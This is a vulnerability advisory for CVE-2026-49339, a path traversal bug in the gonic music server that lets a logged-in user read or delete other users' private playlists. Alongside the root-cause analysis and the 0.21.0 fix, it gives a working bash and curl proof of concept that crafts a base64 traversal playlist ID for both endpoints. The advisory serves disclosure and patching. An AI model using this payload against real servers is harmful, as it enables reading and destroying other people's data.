high · 7.1CVE-2026-49339Jun 26, 2026

CVE-2026-49339: gonic Playlist ID Path Traversal Bypasses Ownership Check

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any logged-in user of the gonic music server can read or delete another user's private playlists by crafting a playlist ID that smuggles directory traversal sequences past the ownership check.

Packagego.senan.xyz/gonic
Ecosystemgo
Affected<= 0.20.1
Fixed in0.21.0

The problem

gonic stores playlists as M3U files under a per-user directory (<basePath>/<userID>/<name>.m3u). The getPlaylist and deletePlaylist endpoints decode the id parameter from base64 and pass the raw string directly to playlist.Store.Read and Store.Delete.

The ownership check extracts a user ID from only the first path segment of the decoded string, using userIDFromPath. Because filepath.Join then resolves .. segments without any containment guard, an attacker can prefix their own user ID, append traversal sequences, and escape basePath entirely.

The check sees the attacker's own ID and passes, while the filesystem resolves to the victim's file.

Proof of concept

A working proof-of-concept for CVE-2026-49339 in go.senan.xyz/gonic, with the exact payload below.

bash
# Attacker is user ID 2, target playlist belongs to user ID 1.
# Raw relative path: "2/../1/shared.m3u"
# base64-URL-encode it, then prefix with "pl-"

RAW='2/../1/shared.m3u'
ID="pl-$(printf '%s' "$RAW" | base64 -w0 | tr '+/' '-_')"

curl -s "http://gonic-host/rest/getPlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID" \
  | python3 -m json.tool
# Response leaks victim playlist name, comment, IsPublic flag, and song list.

# Same technique against deletePlaylist permanently removes the target file:
curl -s "http://gonic-host/rest/deletePlaylist.view?u=attacker&p=pass&c=poc&v=1.16.1&f=json&id=$ID"

The root cause is in playlist/playlist.go: Store.Read and Store.Delete both call filepath.Join(s.basePath, relPath) with no check that the result stays under s.basePath. The ownership guard in userIDFromPath reads only strings.Split(path, "/")[0], so a path like 2/../1/shared.m3u satisfies playlist.UserID == attacker.ID while filepath.Join silently resolves the .. and opens the victim's file.

The patch (commit 0824bed) adds a contained() helper that calls filepath.Rel(s.basePath, absPath) and rejects any result that starts with ... This makes path containment a structural precondition for all three store methods (Read, Write, Delete) rather than trusting the first path segment for authorization.

The fix

Upgrade to gonic 0.21.0 (commit 0824bed88f6bbc490ba28bf09d28e5dfeb07b445). The fix adds a contained() guard in playlist/playlist.go that rejects any decoded path whose resolved absolute form escapes s.basePath. No configuration change is needed; the fix is applied automatically on upgrade.

Reported by Vishal Shukla (@shukla304 / @therawdev).

References: [1][2][3][4][5]

Related research